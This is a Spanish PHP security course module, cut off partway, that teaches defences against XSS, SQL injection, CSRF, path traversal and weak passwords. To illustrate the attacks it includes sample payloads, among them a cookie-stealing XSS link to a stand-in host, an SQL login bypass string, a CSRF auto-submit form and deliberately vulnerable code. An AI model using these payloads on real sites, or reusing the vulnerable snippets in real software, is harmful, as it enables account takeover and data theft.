Módulo 16: Seguridad
Objetivos del módulo
- Conocer el OWASP Top 10 y los riesgos más habituales en aplicaciones web
- Prevenir XSS escapando la salida según el contexto (HTML, atributo, JavaScript, URL)
- Prevenir la inyección SQL con consultas preparadas
- Proteger los formularios frente a CSRF con tokens y cookies
SameSite - Guardar contraseñas correctamente con
password_hash()ypassword_verify() - Repasar la gestión segura de sesiones y la subida de ficheros
- Evitar path traversal y la inclusión de ficheros arbitrarios
- Enviar cabeceras de seguridad (CSP, HSTS,
X-Content-Type-Options…) - Gestionar secretos con variables de entorno y generar tokens aleatorios seguros
- Limitar los intentos de login y mantener PHP y las dependencias actualizados (
composer audit) - Validar URLs con la nueva extensión URI de PHP 8.5
1. Pensar como un atacante
📘 Concepto: La seguridad de una aplicación web consiste en asegurar que solo hace lo que tú quieres que haga, incluso cuando alguien intenta deliberadamente que haga otra cosa. El principio fundamental es: nunca confíes en los datos que vienen de fuera. Todo lo que llega en
$_GET,$_POST,$_COOKIE,$_FILES, las cabeceras HTTP (incluido$_SERVER['HTTP_*']) o el cuerpo de una petición puede haber sido manipulado.
Analogía: tu aplicación es una casa. El formulario de contacto es el buzón. Esperas cartas, pero alguien puede meter cualquier cosa por la ranura. No abrirías un paquete sospechoso en el salón: lo inspeccionas antes.
Dos reglas que resumen gran parte del módulo:
| Regla | Qué significa | Ejemplo |
|---|---|---|
| Valida la entrada | Comprueba que los datos tienen la forma esperada y rechaza lo demás | Una edad es un entero entre 0 y 130 |
| Escapa la salida | Al insertar datos en otro “lenguaje” (HTML, SQL, shell, URL), conviértelos para que no se interpreten como código | htmlspecialchars() al imprimir en HTML |
Y un principio de diseño: defensa en profundidad. No te fíes de una sola barrera; combina varias (validación + escape + cabeceras + permisos mínimos), de modo que si una falla, las demás siguen protegiendo.
2. El OWASP Top 10
OWASP (Open Worldwide Application Security Project) es una fundación sin ánimo de lucro que publica, entre otras cosas, la lista de los diez riesgos más críticos en aplicaciones web. La edición vigente es la 2025.
| Código | Riesgo | En PHP significa, por ejemplo… | Dónde lo ves |
|---|---|---|---|
| A01 | Control de acceso roto | Un usuario edita el pedido de otro cambiando el id en la URL | Sección 13 |
| A02 | Configuración de seguridad incorrecta | display_errors = On en producción, ficheros .env accesibles | Secciones 10 y 11 |
| A03 | Fallos en la cadena de suministro | Dependencias de Composer con vulnerabilidades conocidas | Sección 14 |
| A04 | Fallos criptográficos | Contraseñas en MD5, sitio sin HTTPS | Secciones 6 y 10 |
| A05 | Inyección | Inyección SQL, XSS, inyección de comandos | Secciones 3 y 4 |
| A06 | Diseño inseguro | Recuperación de contraseña con “pregunta secreta” | Todo el módulo |
| A07 | Fallos de autenticación | Sin límite de intentos de login, sesiones que no se renuevan | Secciones 7 y 12 |
| A08 | Fallos de integridad de software o datos | Deserializar datos del usuario con unserialize() | Sección 13 |
| A09 | Fallos de registro y monitorización | No registrar los intentos de acceso fallidos | Módulo 14 |
| A10 | Gestión incorrecta de condiciones excepcionales | Un error que deja pasar al usuario (“fail open”) o muestra la traza | Módulo 14 |
💡 Consejo: No hace falta memorizar la lista, pero sí leerla de vez en cuando en owasp.org/Top10. OWASP también publica las Cheat Sheets, guías prácticas para cada problema que son una referencia excelente.
3. XSS: Cross-Site Scripting
📘 Concepto: Un ataque XSS consiste en conseguir que tu web muestre a otros usuarios código JavaScript escrito por el atacante. Ese código se ejecuta en el navegador de la víctima con los mismos permisos que tu web: puede leer la página, enviar formularios en su nombre, redirigirla a una web falsa o robar datos.
XSS reflejado
El dato malicioso viaja en la propia petición (normalmente en la URL) y la página lo “refleja” en la respuesta:
<?php
// buscar.php ❌ VULNERABLE
$q = $_GET['q'] ?? '';
echo "<p>Resultados para: $q</p>";
El atacante envía a la víctima este enlace:
https://mitienda.es/buscar.php?q=<script>fetch('https://malo.example/?c='+document.cookie)</script>
Al abrirlo, el navegador de la víctima ejecuta el script dentro de mitienda.es.
XSS almacenado
Más peligroso: el código se guarda en la base de datos (un comentario, un nombre de usuario, una reseña) y se muestra a todos los que visitan la página.
<?php
// ❌ VULNERABLE: muestra los comentarios tal cual se guardaron
foreach ($comentarios as $c) {
echo "<div class='comentario'><b>{$c['autor']}</b>: {$c['texto']}</div>";
}
Basta con que alguien publique el comentario <img src=x onerror="alert('XSS')"> para que se ejecute en el navegador de cada visitante.
La solución: escapar la salida con htmlspecialchars()
htmlspecialchars() convierte los caracteres especiales de HTML en entidades, de modo que el navegador los muestra en lugar de interpretarlos:
| Carácter | Se convierte en |
|---|---|
& | & |
< | < |
> | > |
" | " |
' | ' (con ENT_QUOTES) |
<?php
$q = '<script>alert(1)</script>';
echo htmlspecialchars($q, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
// <script>alert(1)</script> ← el navegador lo muestra como texto
Un helper e()
Escribir htmlspecialchars($x, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') cada vez es largo y propenso a olvidos. Lo habitual es crear una función corta:
<?php
declare(strict_types=1);
/**
* Escapa un valor para insertarlo en HTML (contenido o atributo entre comillas).
*/
function e(string|int|float|null $valor): string
{
return htmlspecialchars((string) $valor, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
<!-- ✅ SEGURO -->
<p>Resultados para: <?= e($q) ?></p>
<?php foreach ($comentarios as $c): ?>
<div class="comentario"><b><?= e($c['autor']) ?></b>: <?= e($c['texto']) ?></div>
<?php endforeach; ?>
⚠️ Importante: Escapa al mostrar, no al guardar. Guarda en la base de datos el texto original y escápalo en el momento de imprimirlo, según el contexto. Si lo escapas al guardar, acabarás con textos como
&amp;y seguirás expuesto en otros contextos (JSON, emails, PDF).
El contexto importa
htmlspecialchars() protege en el contenido HTML y dentro de atributos entre comillas. En otros contextos necesitas otras técnicas:
| Contexto | Ejemplo | Cómo escapar |
|---|---|---|
| Contenido HTML | <p><?= ... ?></p> | e($valor) |
| Atributo entre comillas | <input value="<?= ... ?>"> | e($valor) (siempre con comillas) |
| Parámetro de una URL | <a href="buscar.php?q=<?= ... ?>"> | e(urlencode($valor)) o http_build_query() |
URL completa en href/src | <a href="<?= ... ?>"> | Validar que empieza por https:// (o es relativa) y luego e() |
Dentro de <script> | const datos = <?= ... ?>; | json_encode() con JSON_HEX_TAG \| JSON_HEX_AMP \| JSON_HEX_APOS \| JSON_HEX_QUOT |
| CSS | style="color: <?= ... ?>" | Evítalo; usa una lista blanca de valores |
<?php
declare(strict_types=1);
$nombre = 'O\'Brien & "Hijos" </script>';
$web = $_POST['web'] ?? 'javascript:alert(1)';
// 1. Atributo: comillas SIEMPRE
echo '<input name="nombre" value="' . e($nombre) . '">';
// 2. Parámetro de URL
echo '<a href="perfil.php?' . e(http_build_query(['nombre' => $nombre])) . '">Perfil</a>';
// 3. URL completa: e() NO basta, "javascript:..." no tiene caracteres especiales
function urlSegura(string $url): string
{
$esquema = strtolower((string) parse_url($url, PHP_URL_SCHEME));
return in_array($esquema, ['http', 'https'], true) ? $url : '#';
}
echo '<a href="' . e(urlSegura($web)) . '" rel="nofollow noopener">Web del autor</a>';
// 4. Datos para JavaScript
$config = ['usuario' => $nombre, 'carrito' => [1, 4, 7]];
$json = json_encode($config, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_THROW_ON_ERROR);
echo "<script>const config = $json;</script>";
// Los "<" y ">" salen como < y >: "</script>" no puede cerrar la etiqueta
💡 Consejo: Una forma aún más limpia de pasar datos a JavaScript es un atributo
data-*:<div id="app" data-config="<?= e(json_encode($config)) ?>">y en JSJSON.parse(app.dataset.config). Así no hay PHP dentro de<script>.
⚠️ Importante: Si necesitas que los usuarios escriban HTML con formato (un editor enriquecido), no basta con escapar: necesitas un sanitizador basado en lista blanca como la librería
ezyang/htmlpurifier. Nunca intentes filtrar HTML constr_replaceo expresiones regulares: siempre hay un truco que se escapa.
4. Inyección SQL
Ya la viste en el módulo 15, pero es tan grave que merece repasarla con un ataque real.
<?php
// login.php ❌ VULNERABLE
$email = $_POST['email'];
$clave = $_POST['clave'];
$sql = "SELECT * FROM usuarios WHERE email = '$email' AND clave = '$clave'";
$usuario = $pdo->query($sql)->fetch();
Si el atacante escribe en el campo email ' OR '1'='1' -- (con un espacio final), la consulta queda así:
SELECT * FROM usuarios WHERE email = '' OR '1'='1' -- ' AND clave = '...'
'1'='1' siempre es cierto y -- comenta el resto: entra como el primer usuario de la tabla (normalmente, el administrador). Con otras variantes se pueden leer tablas enteras, modificar datos o borrarlos.
La corrección
<?php
declare(strict_types=1);
// ✅ SEGURO: consulta preparada + contraseña con hash (sección 6)
$stmt = $pdo->prepare('SELECT id, email, clave_hash FROM usuarios WHERE email = ?');
$stmt->execute([$_POST['email'] ?? '']);
$usuario = $stmt->fetch();
if ($usuario && password_verify($_POST['clave'] ?? '', $usuario['clave_hash'])) {
// Login correcto
}
| Defensa | Por qué |
|---|---|
| Consultas preparadas siempre que haya datos variables | El dato nunca se interpreta como SQL |
PDO::ATTR_EMULATE_PREPARES => false | La preparación la hace el servidor |
Lista blanca para columnas y ORDER BY | Los identificadores no pueden ser parámetros |
| Usuario de BD con permisos mínimos | Si hay una inyección, el daño es limitado (sin DROP, sin acceso a otras bases de datos) |
| No mostrar errores SQL al usuario | Los mensajes de error ayudan al atacante a afinar el ataque |
⚠️ Importante:
addslashes(),mysqli_real_escape_string()o “quitar las comillas” no son una defensa fiable. La única solución correcta es separar código y datos con consultas preparadas.
5. CSRF: Cross-Site Request Forgery
📘 Concepto: En un ataque CSRF, una web maliciosa hace que el navegador de la víctima envíe una petición a tu web. Como el navegador adjunta automáticamente las cookies de tu dominio (incluida la de sesión), tu servidor cree que la petición la ha hecho el usuario legítimo.
Ejemplo: Ana ha iniciado sesión en mitienda.es. Visita un foro que contiene esto:
<!-- En https://malo.example -->
<form action="https://mitienda.es/cuenta/cambiar-email.php" method="post" id="f">
<input type="hidden" name="email" value="atacante@malo.example">
</form>
<script>document.getElementById('f').submit();</script>
El navegador de Ana envía el formulario con su cookie de sesión. Si tu aplicación no lo impide, el email de Ana cambia y el atacante puede pedir “he olvidado mi contraseña”.
Defensa 1: token CSRF en sesión
La idea: cada formulario lleva un valor secreto que solo conoce tu página. La web maliciosa no puede leerlo (el navegador se lo impide por la política del mismo origen), así que no puede incluirlo.
<?php
declare(strict_types=1);
// src/csrf.php
function csrfToken(): string
{
if (session_status() !== PHP_SESSION_ACTIVE) {
session_start();
}
// Un token por sesión, generado con un generador criptográficamente seguro
$_SESSION['csrf'] ??= bin2hex(random_bytes(32));
return $_SESSION['csrf'];
}
function csrfCampo(): string
{
return '<input type="hidden" name="_csrf" value="' . htmlspecialchars(csrfToken(), ENT_QUOTES, 'UTF-8') . '">';
}
function verificarCsrf(): void
{
$enviado = $_POST['_csrf'] ?? '';
$esperado = $_SESSION['csrf'] ?? '';
// hash_equals compara en tiempo constante (evita ataques de temporización)
if (!is_string($enviado) || $esperado === '' || !hash_equals($esperado, $enviado)) {
http_response_code(403);
exit('Petición no válida. Recarga la página e inténtalo de nuevo.');
}
}
En el formulario:
<form method="post" action="cambiar-email.php">
<?= csrfCampo() ?>
<input type="email" name="email" required>
<button>Guardar</button>
</form>
Y al procesarlo:
<?php
declare(strict_types=1);
session_start();
require __DIR__ . '/../src/csrf.php';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
verificarCsrf(); // ← lo primero
// ... validar y guardar el nuevo email
}
📘 Concepto:
hash_equals()compara dos cadenas tardando siempre lo mismo, se parezcan o no. Una comparación normal (===) se detiene en el primer carácter distinto, y midiendo tiempos un atacante podría ir adivinando el token carácter a carácter. Úsala siempre que compares secretos.
Defensa 2: cookies SameSite
El atributo SameSite de una cookie indica al navegador si debe enviarla en peticiones que vienen de otros sitios:
| Valor | Comportamiento | Uso |
|---|---|---|
Strict | Nunca se envía desde otro sitio (ni siquiera al seguir un enlace) | Máxima protección, pero el usuario parece “deslogueado” al llegar desde un enlace externo |
Lax | Se envía al navegar con enlaces (GET), no en POST desde otros sitios | Buen equilibrio; valor por defecto en los navegadores modernos |
None | Se envía siempre (exige Secure) | Solo para casos de terceros (widgets, SSO) |
<?php
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'secure' => true, // Solo por HTTPS
'httponly' => true, // Inaccesible desde JavaScript
'samesite' => 'Lax',
]);
session_start();
⚠️ Importante:
SameSitees una segunda capa, no un sustituto del token: depende del navegador y no protege si tu web tiene subdominios inseguros. Usa ambos. Y recuerda: las operaciones que cambian datos van siempre por POST (o PUT/DELETE), nunca por GET.
6. Contraseñas
Lo que no debes hacer
| Práctica | Por qué es un error |
|---|---|
| Guardarlas en texto plano | Si te roban la base de datos, tienen todas las contraseñas (y muchos usuarios las reutilizan) |
| Cifrarlas (con una clave) | Quien obtenga la clave las descifra todas |
md5() o sha1() | Son rapidísimos: un ordenador con GPU prueba miles de millones por segundo. Además, existen tablas precalculadas |
hash('sha256', $clave . 'sal') casero | Sigue siendo demasiado rápido y es fácil equivocarse |
📘 Concepto: Las contraseñas se guardan con un hash lento con sal. Un hash es una función de un solo sentido: de la contraseña obtienes el hash, pero no al revés. La sal es un valor aleatorio distinto para cada usuario que hace que dos contraseñas iguales tengan hashes distintos. Y “lento” significa que calcularlo cuesta, a propósito, unos milisegundos: imperceptible para un login, pero inviable para probar miles de millones de combinaciones.
password_hash() y password_verify()
PHP lo resuelve todo con dos funciones:
<?php
declare(strict_types=1);
// Registro: generar el hash
$hash = password_hash('MiClave$egura2026', PASSWORD_DEFAULT);
echo $hash, PHP_EOL;
// $2y$12$0bPq1yXk3... (60 caracteres; incluye algoritmo, coste y sal)
// Login: comprobar
var_dump(password_verify('MiClave$egura2026', $hash)); // bool(true)
var_dump(password_verify('otra', $hash)); // bool(false)
// Mismo texto, hash distinto cada vez (gracias a la sal)
var_dump(password_hash('1234', PASSWORD_DEFAULT) === password_hash('1234', PASSWORD_DEFAULT)); // bool(false)
| Algoritmo | Constante | Comentario |
|---|---|---|
| bcrypt | PASSWORD_DEFAULT / PASSWORD_BCRYPT | Predeterminado. Coste 12 por defecto desde PHP 8.4. Solo usa los primeros 72 bytes |
| Argon2id | PASSWORD_ARGON2ID | Recomendado por OWASP; resistente a ataques con GPU. Requiere que PHP esté compilado con soporte Argon2 |
<?php
// Argon2id con parámetros explícitos
$hash = password_hash($clave, PASSWORD_ARGON2ID, [
'memory_cost' => 65536, // KiB (64 MiB)
'time_cost' => 4,
'threads' => 1,
]);
⚠️ Importante: La columna donde guardes el hash debe ser
VARCHAR(255). Hoy bcrypt ocupa 60 caracteres, pero si en el futuro cambia el algoritmo por defecto, los hashes serán más largos.
password_needs_rehash(): actualizar hashes antiguos
Si subes el coste o cambias de algoritmo, los usuarios existentes siguen con el hash antiguo. Aprovecha el login (el único momento en que tienes la contraseña en claro) para actualizarlo:
<?php
declare(strict_types=1);
function login(PDO $pdo, string $email, #[\SensitiveParameter] string $clave): ?array
{
$stmt = $pdo->prepare('SELECT id, email, clave_hash FROM usuarios WHERE email = ?');
$stmt->execute([$email]);
$usuario = $stmt->fetch();
if (!$usuario || !password_verify($clave, $usuario['clave_hash'])) {
return null; // Mismo resultado si no existe el email o la clave es incorrecta
}
if (password_needs_rehash($usuario['clave_hash'], PASSWORD_DEFAULT)) {
$nuevo = password_hash($clave, PASSWORD_DEFAULT);
$pdo->prepare('UPDATE usuarios SET clave_hash = ? WHERE id = ?')->execute([$nuevo, $usuario['id']]);
}
return $usuario;
}
💡 Consejo: Muestra el mismo mensaje (“Email o contraseña incorrectos”) tanto si el email no existe como si la contraseña está mal. Si dices “ese email no está registrado”, estás ayudando a un atacante a averiguar qué emails son válidos (enumeración de usuarios).
Política de contraseñas razonable
Las recomendaciones actuales (NIST, OWASP) son: longitud mínima (al menos 8, mejor 12), permitir contraseñas largas y frases, no obligar a combinaciones raras de símbolos ni a cambiarlas periódicamente, y rechazar contraseñas muy comunes o filtradas.
7. Sesiones seguras (repaso)
Ya viste las sesiones en el módulo 9. Estas son las medidas de seguridad imprescindibles:
; php.ini (o con ini_set antes de session_start)
session.use_strict_mode = 1 ; rechaza ids de sesión que no ha generado el servidor
session.use_only_cookies = 1 ; el id nunca va en la URL
session.cookie_httponly = 1 ; JavaScript no puede leer la cookie
session.cookie_secure = 1 ; solo por HTTPS
session.cookie_samesite = Lax
session.gc_maxlifetime = 1800 ; 30 minutos de inactividad
<?php
declare(strict_types=1);
// Tras un login correcto
session_regenerate_id(true); // Nuevo id de sesión: evita la fijación de sesión
$_SESSION['usuario_id'] = $usuario['id'];
$_SESSION['ultimo_acceso'] = time();
// En cada petición: caducidad por inactividad
if (isset($_SESSION['ultimo_acceso']) && time() - $_SESSION['ultimo_acceso'] > 1800) {
$_SESSION = [];
session_destroy();
header('Location: /login.php?caducada=1');
exit;
}
$_SESSION['ultimo_acceso'] = time();
// Logout completo
function cerrarSesion(): void
{
$_SESSION = [];
$p = session_get_cookie_params();
setcookie(session_name(), '', [
'expires' => time() - 3600, 'path' => $p['path'], 'domain' => $p['domain'],
'secure' => $p['secure'], 'httponly' => $p['httponly'], 'samesite' => $p['samesite'],
]);
session_destroy();
}
⚠️ Importante: Llama a
session_regenerate_id(true)siempre que cambie el nivel de privilegio: al iniciar sesión, al cerrar sesión y al convertirse en administrador. Así un id de sesión que el atacante haya conseguido antes deja de servir.
8. Subida de ficheros segura (repaso)
La subida de ficheros es una de las funciones más peligrosas: si un atacante consigue subir un shell.php a una carpeta pública y ejecutarlo, controla tu servidor.
<?php
declare(strict_types=1);
function guardarImagen(array $fichero, string $directorioDestino): string
{
// 1. Errores de subida
if (($fichero['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK) {
throw new RuntimeException('Error al subir el fichero');
}
// 2. Tamaño máximo (además de upload_max_filesize en php.ini)
if ($fichero['size'] > 2 * 1024 * 1024) {
throw new RuntimeException('La imagen no puede superar 2 MB');
}
// 3. Tipo REAL según el contenido, no según la extensión ni $_FILES['type']
$tiposPermitidos = ['image/jpeg' => 'jpg', 'image/png' => 'png', 'image/webp' => 'webp'];
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($fichero['tmp_name']);
if (!isset($tiposPermitidos[$mime])) {
throw new RuntimeException('Formato no permitido');
}
// 4. Comprobar que realmente es una imagen
if (getimagesize($fichero['tmp_name']) === false) {
throw new RuntimeException('El fichero no es una imagen válida');
}
// 5. Nombre aleatorio generado por nosotros: nunca el nombre original
$nombre = bin2hex(random_bytes(16)) . '.' . $tiposPermitidos[$mime];
// 6. Mover con move_uploaded_file (verifica que viene de una subida HTTP)
if (!move_uploaded_file($fichero['tmp_name'], $directorioDestino . '/' . $nombre)) {
throw new RuntimeException('No se pudo guardar la imagen');
}
return $nombre;
}
| Medida | Protege contra |
|---|---|
Comprobar el MIME con finfo | Ficheros .php renombrados a .jpg |
| Extensión elegida por ti a partir del MIME | foto.php.jpg, foto.phtml |
| Nombre aleatorio | Sobrescritura de ficheros, path traversal en el nombre |
| Guardar fuera de la carpeta pública (o en una carpeta sin ejecución de PHP) | Ejecución de código subido |
| Límite de tamaño | Llenar el disco (denegación de servicio) |
💡 Consejo: Si las imágenes deben ser públicas, guárdalas en una carpeta como
public/uploads/y desactiva la ejecución de PHP en ella. En Apache, con un.htaccessque contengaphp_flag engine off(si PHP corre como módulo) o, mejor, configurándolo en el servidor. Para máxima seguridad, sirve las imágenes a través de un script PHP que las lea desde fuera depublic/.
9. Path traversal e inclusión de ficheros
Path traversal
📘 Concepto: El path traversal (recorrido de directorios) consiste en usar
../en un nombre de fichero para salir de la carpeta prevista y leer ficheros arbitrarios del servidor.
<?php
// descargar.php?fichero=factura-12.pdf ❌ VULNERABLE
$ruta = __DIR__ . '/facturas/' . $_GET['fichero'];
readfile($ruta);
// El atacante pide: descargar.php?fichero=../../config/database.php
// y descarga tus credenciales
La corrección combina tres ideas: quedarse solo con el nombre, resolver la ruta real y comprobar que sigue dentro de la carpeta permitida.
<?php
declare(strict_types=1);
function rutaSegura(string $base, string $nombre): string
{
$baseReal = realpath($base);
$ruta = realpath($baseReal . DIRECTORY_SEPARATOR . basename($nombre));
if ($baseReal === false || $ruta === false || !str_starts_with($ruta, $baseReal . DIRECTORY_SEPARATOR)) {
throw new RuntimeException('Fichero no encontrado');
}
return $ruta;
}
try {
$ruta = rutaSegura(__DIR__ . '/facturas', $_GET['fichero'] ?? '');
header('Content-Type: application/pdf');
header('Content-Disposition: attachment; filename="' . basename($ruta) . '"');
readfile($ruta);
} catch (RuntimeException) {
http_response_code(404);
echo 'Factura no encontrada';
}
💡 Consejo: Mejor aún: no uses nombres de fichero en la URL. Usa un id (
descargar.php?id=12), busca en la base de datos qué fichero le corresponde y si el usuario actual tiene permiso para verlo.
Inclusión de ficheros
<?php
// index.php?pagina=contacto ❌ VULNERABLE
include $_GET['pagina'] . '.php';
// ?pagina=../../../ruta/a/un/fichero/subido → ejecuta código del atacante
<?php
declare(strict_types=1);
// ✅ Lista blanca: solo se pueden incluir las páginas que TÚ defines
$paginas = [
'inicio' => __DIR__ . '/paginas/inicio.php',
'contacto' => __DIR__ . '/paginas/contacto.php',
'about' => __DIR__ . '/paginas/about.php',
];
$pagina = $_GET['pagina'] ?? 'inicio';
require $paginas[$pagina] ?? __DIR__ . '/paginas/404.php';
⚠️ Importante: Comprueba que
allow_url_include = Offenphp.ini(es el valor por defecto). Si estuviera activado, unincludepodría incluso descargar y ejecutar código de otro servidor.
10. Cabeceras de seguridad y HTTPS
Las cabeceras HTTP de seguridad indican al navegador que active protecciones adicionales. Son una capa extra de defensa en profundidad.
| Cabecera | Para qué sirve | Valor recomendado de partida |
|---|---|---|
Content-Security-Policy | Define de dónde se pueden cargar scripts, estilos, imágenes… Mitiga XSS | default-src 'self' (y ajustar) |
X-Content-Type-Options | Impide que el navegador “adivine” el tipo de un fichero | nosniff |
X-Frame-Options / CSP frame-ancestors | Impide que tu web se cargue en un <iframe> ajeno (clickjacking) | DENY / frame-ancestors 'none' |
Strict-Transport-Security | Obliga al navegador a usar siempre HTTPS (HSTS) | max-age=31536000; includeSubDomains |
Referrer-Policy | Controla qué URL de origen se envía al seguir enlaces | strict-origin-when-cross-origin |
Permissions-Policy | Desactiva APIs del navegador que no usas | camera=(), microphone=(), geolocation=() |
<?php
declare(strict_types=1);
// src/cabeceras.php — inclúyelo al principio de cada petición
function enviarCabecerasSeguridad(): void
{
header("Content-Security-Policy: default-src 'self'; "
. "script-src 'self' https://cdn.jsdelivr.net; "
. "style-src 'self' https://cdn.jsdelivr.net; "
. "img-src 'self' data:; "
. "frame-ancestors 'none'; "
. "base-uri 'self'; form-action 'self'");
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('Referrer-Policy: strict-origin-when-cross-origin');
header('Permissions-Policy: camera=(), microphone=(), geolocation=()');
// HSTS solo si ya estás sirviendo por HTTPS
if (($_SERVER['HTTPS'] ?? '') === 'on') {
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
}
// No anunciar la versión de PHP
header_remove('X-Powered-By');
}
📘 Concepto: Con
Content-Security-Policy: script-src 'self', el navegador solo ejecuta scripts que vengan de tu propio dominio como ficheros.js. Un<script>inyectado en el HTML o un atributoonerror="..."se bloquean aunque se te haya escapado un XSS. Por eso es una de las cabeceras más potentes, y también la que más hay que ajustar: si usas<script>en línea, tendrás que moverlo a ficheros o usar nonces.
💡 Consejo: Para probar una CSP sin romper tu web, empieza con
Content-Security-Policy-Report-Only: el navegador te avisa en la consola de lo que bloquearía, pero no bloquea nada. Comprueba tus cabeceras con herramientas como securityheaders.com o el validador de CSP de Google.
HTTPS
Sin HTTPS, todo viaja en claro: contraseñas, cookies de sesión, datos personales. Hoy obtener un certificado es gratuito con Let’s Encrypt (y casi todos los hostings lo activan con un clic).
- Redirige siempre HTTP → HTTPS (en la configuración del servidor).
- Marca las cookies con
Secure. - Activa HSTS cuando estés seguro de que todo funciona por HTTPS.
- En
php.inide producción ponexpose_php = Off.
11. Secretos y variables de entorno
Contraseñas de base de datos, claves de APIs, claves de cifrado… No deben estar en el código ni en Git. Un repositorio se clona, se comparte y se publica por error con facilidad, y el historial de Git conserva todo aunque borres el fichero después.
# .env (en la raíz del proyecto, FUERA de public/)
APP_ENV=prod
DB_HOST=localhost
DB_NAME=tienda
DB_USER=tienda
DB_PASS=Qm7#vL2p!xR9
STRIPE_SECRET=sk_live_...
# .gitignore
.env
/var/
/vendor/
# .env.example (sí se sube a Git: documenta qué variables hacen falta)
APP_ENV=dev
DB_HOST=localhost
DB_NAME=tienda
DB_USER=
DB_PASS=
STRIPE_SECRET=
Leer variables de entorno:
<?php
declare(strict_types=1);
// Con la librería vlucas/phpdotenv (composer require vlucas/phpdotenv)
$dotenv = Dotenv\Dotenv::createImmutable(dirname(__DIR__));
$dotenv->load();
$dotenv->required(['DB_HOST', 'DB_NAME', 'DB_USER', 'DB_PASS']);
$clave = $_ENV['DB_PASS'];
// Las variables definidas en el propio servidor (Apache SetEnv, Docker, panel del hosting)
// también se pueden leer con getenv()
$entorno = getenv('APP_ENV') ?: 'prod';
⚠️ Importante: El fichero
.envdebe estar fuera de la carpeta pública. Si está enpublic/, cualquiera puede descargarlo enhttps://tuweb.es/.env. Es uno de los fallos de configuración más comunes y más explotados.
💡 Consejo: Si alguna vez subes un secreto a Git por error, considéralo comprometido: cámbialo inmediatamente (nueva contraseña, nueva clave de API). Borrarlo del repositorio no basta.
12. Tokens aleatorios y limitación de intentos
Generar valores aleatorios seguros
Para tokens CSRF, enlaces de recuperación de contraseña, claves de API o nombres de fichero necesitas aleatoriedad criptográficamente segura: imposible de predecir.
| Función | ¿Segura para secretos? | Uso |
|---|---|---|
random_bytes($n) | Sí | Bytes aleatorios (conviértelos con bin2hex()) |
random_int($min, $max) | Sí | Enteros aleatorios (códigos de verificación) |
Random\Randomizer (8.2) | Sí, con el motor por defecto (Random\Engine\Secure) | API orientada a objetos y más completa |
rand(), mt_rand() | No | Juegos, simulaciones; nunca para seguridad |
uniqid() | No | Se basa en la hora: predecible |
<?php
declare(strict_types=1);
// Token de 64 caracteres hexadecimales (32 bytes = 256 bits)
$token = bin2hex(random_bytes(32));
// Código numérico de 6 cifras para verificación por email
$codigo = str_pad((string) random_int(0, 999_999), 6, '0', STR_PAD_LEFT);
// Random\Randomizer (PHP 8.2+); por defecto usa el motor seguro
$r = new Random\Randomizer();
// Contraseña temporal con un alfabeto sin caracteres ambiguos (8.3: getBytesFromString)
$alfabeto = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz23456789';
$temporal = $r->getBytesFromString($alfabeto, 12);
echo $token, PHP_EOL; // 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
echo $codigo, PHP_EOL; // 048213
echo $temporal, PHP_EOL; // kP7mXq2RtZ9a
💡 Consejo: Para enlaces de “recuperar contraseña”, guarda en la base de datos el hash del token (
hash('sha256', $token)), no el token en sí, con una fecha de caducidad corta (por ejemplo, 1 hora) y de un solo uso. Así, si alguien lee la tabla, no puede usar los enlaces.
Limitar los intentos de login
Sin límite, un atacante puede probar miles de contraseñas por minuto (fuerza bruta) o probar contraseñas filtradas de otras webs (credential stuffing).
CREATE TABLE intentos_login (
id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
email VARCHAR(190) NOT NULL,
ip VARCHAR(45) NOT NULL,
creado_en DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
INDEX idx_email_fecha (email, creado_en),
INDEX idx_ip_fecha (ip, creado_en)
);
<?php
declare(strict_types=1);
final class LimitadorLogin
{
public function __construct(
private PDO $pdo,
private int $maxIntentos = 5,
private int $ventanaMinutos = 15,
) {}
public function estaBloqueado(string $email, string $ip): bool
{
$stmt = $this->pdo->prepare(
'SELECT COUNT(*) FROM intentos_login
WHERE (email = :email OR ip = :ip)
AND creado_en > NOW() - INTERVAL :min MINUTE'
);
$stmt->bindValue(':email', mb_strtolower($email));
$stmt->bindValue(':ip', $ip);
$stmt->bindValue(':min', $this->ventanaMinutos, PDO::PARAM_INT);
$stmt->execute();
return (int) $stmt->fetchColumn() >= $this->maxIntentos;
}
public function registrarFallo(string $email, string $ip): void
{
$this->pdo->prepare('INSERT INTO intentos_login (email, ip) VALUES (?, ?)')
->execute([mb_strtolower($email), $ip]);
}
public function limpiar(string $email): void
{
$this->pdo->prepare('DELETE FROM intentos_login WHERE email = ?')->execute([mb_strtolower($email)]);
}
}
// En login.php
$limitador = new LimitadorLogin($pdo);
$ip = $_SERVER['REMOTE_ADDR'];
if ($limitador->estaBloqueado($email, $ip)) {
$error = 'Demasiados intentos. Espera 15 minutos e inténtalo de nuevo.';
} elseif ($usuario = login($pdo, $email, $clave)) {
$limitador->limpiar($email);
session_regenerate_id(true);
$_SESSION['usuario_id'] = $usuario['id'];
} else {
$limitador->registrarFallo($email, $ip);
$error = 'Email o contraseña incorrectos.';
}
💡 Consejo: Otras medidas complementarias: un retraso creciente tras cada fallo, un CAPTCHA a partir del tercer intento y, sobre todo, ofrecer autenticación en dos pasos (2FA). Si tu web está detrás de un proxy o CDN,
REMOTE_ADDRserá la IP del proxy: configura correctamente la IP real del cliente en el servidor web.
13. Control de acceso y otros riesgos
Control de acceso roto (A01)
Es el riesgo número uno del OWASP. Ocurre cuando compruebas que el usuario ha iniciado sesión, pero no que tiene permiso sobre ese recurso concreto.
<?php
// pedido.php?id=1042 ❌ VULNERABLE: cualquier usuario logueado ve cualquier pedido
$stmt = $pdo->prepare('SELECT * FROM pedidos WHERE id = ?');
$stmt->execute([$_GET['id']]);
// ✅ El pedido debe pertenecer al usuario actual
